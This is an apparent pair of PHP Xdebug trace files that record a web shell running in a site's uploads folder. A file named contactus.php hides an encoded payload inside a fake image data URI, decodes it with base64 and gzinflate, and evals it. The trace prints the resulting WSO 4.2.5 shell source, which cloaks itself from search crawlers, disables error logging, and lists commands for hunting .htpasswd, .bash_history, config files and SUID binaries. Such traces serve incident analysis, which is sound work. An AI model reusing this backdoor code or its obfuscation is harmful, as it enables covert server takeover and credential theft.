4	187	R			'..'
4	188	0	0.017803	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'..'
4	188	1	0.017820	1039960
4	188	R			'..'
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	687	$l = 0
4	189	0	0.017856	1039464	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'data'
4	189	1	0.017874	1039528
4	189	R			'data'
4	190	0	0.017893	1039592	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'data'
4	190	1	0.017913	1039784
4	190	R			'data'
4	191	0	0.017933	1039704	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'data'
4	191	1	0.017951	1039768
4	191	R			'data'
4	192	0	0.017970	1039832	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'data'
4	192	1	0.017988	1039896
4	192	R			'data'
4	193	0	0.018007	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'data'
4	193	1	0.018024	1039960
4	193	R			'data'
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	687	$l = 1
4	194	0	0.018299	1039480	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.htaccess'
4	194	1	0.018321	1039552
4	194	R			'.htaccess'
4	195	0	0.018342	1039544	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.htaccess'
4	195	1	0.018360	1039616
4	195	R			'.htaccess'
4	196	0	0.018380	1039624	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.htaccess'
4	196	1	0.018404	1039816
4	196	R			'.htaccess'
4	197	0	0.018433	1039608	wsoViewSize	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	64
5	198	0	0.018460	1039608	sprintf	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	332	2	'%u'	64
5	198	1	0.018486	1039992
5	198	R			'64'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	332	$s = '64'
4	197	1	0.018536	1039640
4	197	R			'64 B'
4	199	0	0.018565	1039704	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.htaccess'
4	199	1	0.018587	1039776
4	199	R			'.htaccess'
4	200	0	0.018611	1039832	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'.htaccess'
4	200	1	0.018633	1039904
4	200	R			'.htaccess'
4	201	0	0.018658	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'.htaccess'
4	201	1	0.018680	1039968
4	201	R			'.htaccess'
4	202	0	0.018714	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'.htaccess'
4	202	1	0.018736	1039968
4	202	R			'.htaccess'
4	203	0	0.018759	1040056	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'.htaccess'
4	203	1	0.018779	1040128
4	203	R			'.htaccess'
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	687	$l = 0
4	204	0	0.018822	1039464	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'alwso.php'
4	204	1	0.018842	1039536
4	204	R			'alwso.php'
4	205	0	0.018865	1039512	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'alwso.php'
4	205	1	0.018885	1039584
4	205	R			'alwso.php'
4	206	0	0.018909	1039592	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'alwso.php'
4	206	1	0.018928	1039784
4	206	R			'alwso.php'
4	207	0	0.018947	1039576	wsoViewSize	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	23689
5	208	0	0.018967	1039576	sprintf	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	332	2	'%u'	23689
5	208	1	0.018989	1039960
5	208	R			'23689'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	332	$s = '23689'
5	209	0	0.019030	1039896	sprintf	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	339	2	'%1.2f'	23.1337890625
5	209	1	0.019054	1040280
5	209	R			'23.13'
4	207	1	0.019077	1039616
4	207	R			'23.13 KB'
4	210	0	0.019101	1039704	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'alwso.php'
4	210	1	0.019122	1039776
4	210	R			'alwso.php'
4	211	0	0.019146	1039832	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'alwso.php'
4	211	1	0.019168	1039904
4	211	R			'alwso.php'
4	212	0	0.019194	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'alwso.php'
4	212	1	0.019217	1039968
4	212	R			'alwso.php'
4	213	0	0.019240	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'alwso.php'
4	213	1	0.019262	1039968
4	213	R			'alwso.php'
4	214	0	0.019285	1040056	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'alwso.php'
4	214	1	0.019304	1040128
4	214	R			'alwso.php'
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	687	$l = 1
4	215	0	0.019346	1039480	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'prepend.php'
4	215	1	0.019368	1039552
4	215	R			'prepend.php'
4	216	0	0.019387	1039544	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'prepend.php'
4	216	1	0.019406	1039616
4	216	R			'prepend.php'
4	217	0	0.019429	1039624	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'prepend.php'
4	217	1	0.019452	1039816
4	217	R			'prepend.php'
4	218	0	0.019478	1039608	wsoViewSize	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	57
5	219	0	0.019501	1039608	sprintf	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	332	2	'%u'	57
5	219	1	0.019524	1039992
5	219	R			'57'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	332	$s = '57'
4	218	1	0.019564	1039640
4	218	R			'57 B'
4	220	0	0.019586	1039704	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'prepend.php'
4	220	1	0.019607	1039776
4	220	R			'prepend.php'
4	221	0	0.019629	1039832	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'prepend.php'
4	221	1	0.019648	1039904
4	221	R			'prepend.php'
4	222	0	0.019669	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'prepend.php'
4	222	1	0.019689	1039968
4	222	R			'prepend.php'
4	223	0	0.019710	1039896	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'prepend.php'
4	223	1	0.019729	1039968
4	223	R			'prepend.php'
4	224	0	0.019751	1040056	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'prepend.php'
4	224	1	0.019771	1040128
4	224	R			'prepend.php'
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	687	$l = 0
4	225	0	0.019814	1039384	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	691	1	'/var/www/html/uploads/'
4	225	1	0.019841	1039576
4	225	R			'/var/www/html/uploads/'
4	226	0	0.019865	1039384	class_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	694	1	'ZipArchive'
4	226	1	0.019885	1039424
4	226	R			FALSE
4	227	0	0.019906	1039384	wsoFooter	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	703	0
5	228	0	0.019923	1039384	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	278	1	'/var/www/html/uploads/'
5	228	1	0.019965	1039424
5	228	R			TRUE
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	278	$is_writable = ' <font color=\'lime\'>(Writeable)</font>'
5	229	0	0.020005	1039384	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	283	1	'/var/www/html/uploads/'
5	229	1	0.020025	1039576
5	229	R			'/var/www/html/uploads/'
4	227	1	0.020076	1039384
3	32	1	0.020092	1031392
			0.020151	949856
TRACE END   [2023-02-12 19:31:34.779843]

data/traces/f4ade55fc27c7aa5290569e64f810845_trace-1676242219.1954.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:50:45.093242]
1	0	1	0.000129	393528
1	3	0	0.000260	422328	{main}	1		/var/www/html/uploads/contactus.php	0	0
1		A						/var/www/html/uploads/contactus.php	1	$z = '<img src="data:image/png;5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3Lq'
2	4	0	0.000319	422352	preg_match	0		/var/www/html/uploads/contactus.php	1	3	'#<img src="data:image/png;(.*)">#'	'<img src="data:image/png;5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3Lq'	NULL
2	4	1	0.000425	471984
2	4	R			1
1		A						/var/www/html/uploads/contactus.php	1	$x = '5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
2	5	0	0.000482	471880	pre_term_name	1		/var/www/html/uploads/contactus.php	1	1	'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
3	6	0	0.000521	471880	str_replace	0		/var/www/html/uploads/contactus.php	1	3	[0 => '%', 1 => '#']	[0 => '/', 1 => '+']	'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
3	6	1	0.000617	496552
3	6	R			'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9/1OQ22NBqNpNFImhmNSn3P9QLWYcZPg+Gm0X5YGthDa+ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y+tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd+dFMudU/2jj/uHZ+Zr09P33c/wK/uzqu9w1PzolJh3x8y+JSgjmBnZE+jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm+O1bWC/ti5sgP8+cWaDuxr/HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02/2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2/dm04EpaMCPfe1E/Nftw9uHz52p04WeK5t2EHhB1/VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
2		A						/var/www/html/uploads/contactus.php	1	$a = '5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9/1OQ22NBqNpNFImhmNSn3P9QLWYcZPg+Gm0X5YGthDa+ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y+tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd+dFMudU/2jj/uHZ+Zr09P33c/wK/uzqu9w1PzolJh3x8y+JSgjmBnZE+jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm+O1bWC/ti5sgP8+cWaDuxr/HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02/2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2/dm04EpaMCPfe1E/Nftw9uHz52p04WeK5t2EHhB1/VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
2		A						/var/www/html/uploads/contactus.php	1	$b = 'base64_decode'
3	7	0	0.000707	496456	base64_decode	0		/var/www/html/uploads/contactus.php	1	1	'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9/1OQ22NBqNpNFImhmNSn3P9QLWYcZPg+Gm0X5YGthDa+ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y+tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd+dFMudU/2jj/uHZ+Zr09P33c/wK/uzqu9w1PzolJh3x8y+JSgjmBnZE+jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm+O1bWC/ti5sgP8+cWaDuxr/HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02/2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2/dm04EpaMCPfe1E/Nftw9uHz52p04WeK5t2EHhB1/VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
3	7	1	0.000805	521064
3	7	R			'�}}_\033����ɧ\020[�k7��\006���$�@B�@\n�\025���^�\033����\032Cs��wf��7cҞ�<��9\r�4\032���H�\031�J}�\002�a�O���~X\032�Ck�F]�\0379�\024r�}ǵ�w���rg�ݵ�Yא\037\0053[�鏭 �#,�ə\016�y��hn6��CgX^�\'~tS.uO��?�\035���OO�w?���Ϋ��S�Ra�\0372����`gdO�\020�YA`ݔ�W�7rm�ʌ\023w\026������\v/�o�յ��ع�\003��Ś\016�k�vlMz.$Vڄ\031��\003{ԝXQ\\6�LVc��w��]6�cV��+�g�9��\004�\031��\016�\004�֨��F}�\035z\021�fӁ)h��}�D����ۇϝ�Ӆ�+�v\020xA�Ff���۷P"΃�.�f��șX�]����pܺ�3�\005\004��Ϯ�L��Li0Z�\024Z\v�998:��\033�fm\02'
2		A						/var/www/html/uploads/contactus.php	1	$c = '�}}_\033����ɧ\020[�k7��\006���$�@B�@\n�\025���^�\033����\032Cs��wf��7cҞ�<��9\r�4\032���H�\031�J}�\002�a�O���~X\032�Ck�F]�\0379�\024r�}ǵ�w���rg�ݵ�Yא\037\0053[�鏭 �#,�ə\016�y��hn6��CgX^�\'~tS.uO��?�\035���OO�w?���Ϋ��S�Ra�\0372����`gdO�\020�YA`ݔ�W�7rm�ʌ\023w\026������\v/�o�յ��ع�\003��Ś\016�k�vlMz.$Vڄ\031��\003{ԝXQ\\6�LVc��w��]6�cV��+�g�9��\004�\031��\016�\004�֨��F}�\035z\021�fӁ)h��}�D����ۇϝ�Ӆ�+�v\020xA�Ff���۷P"΃�.�f��șX�]����pܺ�3�\005\004��Ϯ�L��Li0Z�\024Z\v�998:��\033�fm\02'
2		A						/var/www/html/uploads/contactus.php	1	$k = 'gzinflate'
3	8	0	0.001527	521032	gzinflate	0		/var/www/html/uploads/contactus.php	1	1	'�}}_\033����ɧ\020[�k7��\006���$�@B�@\n�\025���^�\033����\032Cs��wf��7cҞ�<��9\r�4\032���H�\031�J}�\002�a�O���~X\032�Ck�F]�\0379�\024r�}ǵ�w���rg�ݵ�Yא\037\0053[�鏭 �#,�ə\016�y��hn6��CgX^�\'~tS.uO��?�\035���OO�w?���Ϋ��S�Ra�\0372����`gdO�\020�YA`ݔ�W�7rm�ʌ\023w\026������\v/�o�յ��ع�\003��Ś\016�k�vlMz.$Vڄ\031��\003{ԝXQ\\6�LVc��w��]6�cV��+�g�9��\004�\031��\016�\004�֨��F}�\035z\021�fӁ)h��}�D����ۇϝ�Ӆ�+�v\020xA�Ff���۷P"΃�.�f��șX�]����pܺ�3�\005\004��Ϯ�L��Li0Z�\024Z\v�998:��\033�fm\02'
3	8	1	0.002069	582504
3	8	R			'$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time'
2	5	1	0.002216	533320
2	5	R			'$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time'
1		A						/var/www/html/uploads/contactus.php	1	$v = '$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time'
2	9	0	0.004341	1027576	eval	1	'$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\n@define(\'VERSION\', \'4.2.5\');\nif(get_magic_quotes_gpc()) {\n\tfunction WSOstripslashes($array) {\n\t\treturn is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\n\t}\n\t$_POST = WSOstripslashes($_POST);\n    $_COOKIE = WSOstripslashes($_COOKIE);\n}\nfunction wsoLogin() {\n\tdie("<pre align=center><form method=post><input type=password name=pass placeholder=password style=\'background-color:whitesmoke;border:1px solid #fff;outline:none;\' required><input type=submit name=\'mypass\' value=\'submit\' style=\'border:none;background-color:#56ad15;color:#fff;cursor:pointer;\'></form></pre>");\n}\nfunction WSOsetcookie($k, $v) {\n    $_COOKIE[$k] = $v;\n    setcookie($k, $v);\n}\nif(!empty($auth_pass)) {\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n        wsoLogin();\n}\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n    error_reporting(0);\n\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n    \t"Show active connections" => "netstat -an",\n    \t"Show running services" => "net start",\n    \t"User accounts" => "net user",\n    \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n  \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\n        "process status" => "ps aux",\n\t\t"Find" => "",\n  \t\t"find suid" => "find / -type f -perm -04000 -ls",\n  \t\t"find suid in current dir" => "find . -type f -perm -04000 -ls",\n  \t\t"find sgid" => "find / -type f -perm -02000 -ls",\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n  \t\t"find config.inc.php" => "find / -type f -name config.inc.php",\n  \t\t"find config*" => "find / -type f -name \\"config*\\"",\n  \t\t"find config* in current dir" => "find . -type f -name \\"config*\\"",\n  \t\t"find writable folders and files" => "find / -perm -2 -ls",\n  \t\t"find writable folders and files in current dir" => "find . -perm -2 -ls",\n  \t\t"find service.pwd" => "find / -type f -name service.pwd",\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n  \t\t"find .htpasswd" => "find / -type f -name .htpasswd",\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n  \t\t"find .bash_history" => "find / -type f -name .bash_history",\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n  \t\t"find .fetchmailrc" => "find / -type f -name .fetchmailrc",\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n  \t\t"locate httpd.conf" => "locate httpd.conf",\n\t\t"locate vhosts.conf" => "locate vhosts.conf",\n\t\t"locate proftpd.conf" => "locate proftpd.conf",\n\t\t"locate psybnc.conf" => "locate psybnc.conf",\n\t\t"locate my.conf" => "locate my.conf",\n\t\t"locate admin.php" =>"locate admin.php",\n\t\t"locate cfg.php" => "locate cfg.php",\n\t\t"locate conf.php" => "locate conf.php",\n\t\t"locate config.dat" => "locate config.dat",\n\t\t"locate config.php" => "locate config.php",\n\t\t"locate config.inc" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php" => "locate config.default.php",\n\t\t"locate config*" => "locate config",\n\t\t"locate .conf"=>"locate \'.conf\'",\n\t\t"locate .pwd" => "locate \'.pwd\'",\n\t\t"locate .sql" => "locate \'.sql\'",\n\t\t"locate .htpasswd" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc" => "locate \'.fetchmailrc\'",\n\t\t"locate backup" => "locate backup",\n\t\t"locate dump" => "locate dump",\n\t\t"locate priv" => "locate priv"\n\t);\n\nfunction wsoHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n\tglobal $color;\n\t echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title> \n<style> \n    body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} \n    #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;} \n    body,td,th    {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;} \n    table.info    {color:#C3C3C3;} \n    table#toolsTbl {background-color: #060A10;} \n    span,h1,a    {color:#fff !important;} \n    span        {font-weight:bolder;} \n    h1            {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;} \n    div.content    {padding:5px;margin-left:5px;background-color:#060a10;} \n    a            {text-decoration:none;} \n    a:hover        {text-decoration:underline;} \n    .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;} \n    .tooltip:hover::after {opacity:1;visibility:visible;} \n    .ml1        {border:1px solid #202832;padding:5px;margin:0;overflow:auto;} \n    .bigarea    {min-width:100%;max-width:100%;height:400px;} \n    input, textarea, select    {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;} \n    label:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;} \n    form        {margin:0px;} \n    #toolsTbl   {text-align:center;} \n    #fak        {background:none;} \n    #fak td     {padding:5px 0 0 0;} \n    iframe      {border:1px solid #060a10;} \n    .toolsInp   {width:300px} \n    .main th    {text-align:left;background-color:#202832;} \n    .main tr:hover{background-color:#2e6e9c;} \n    .main td, th{vertical-align:middle;} \n    input[type=\'submit\']{background-color:#2E6E9C;} \n    input[type=\'button\']{background-color:#2E6E9C;} \n    input[type=\'submit\']:hover{background-color:#56AD15;} \n    input[type=\'button\']:hover{background-color:#56AD15;} \n    .l1            {background-color:#202832;} \n    pre            {font:9pt Courier New;} \n</style> \n<script>\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n    var 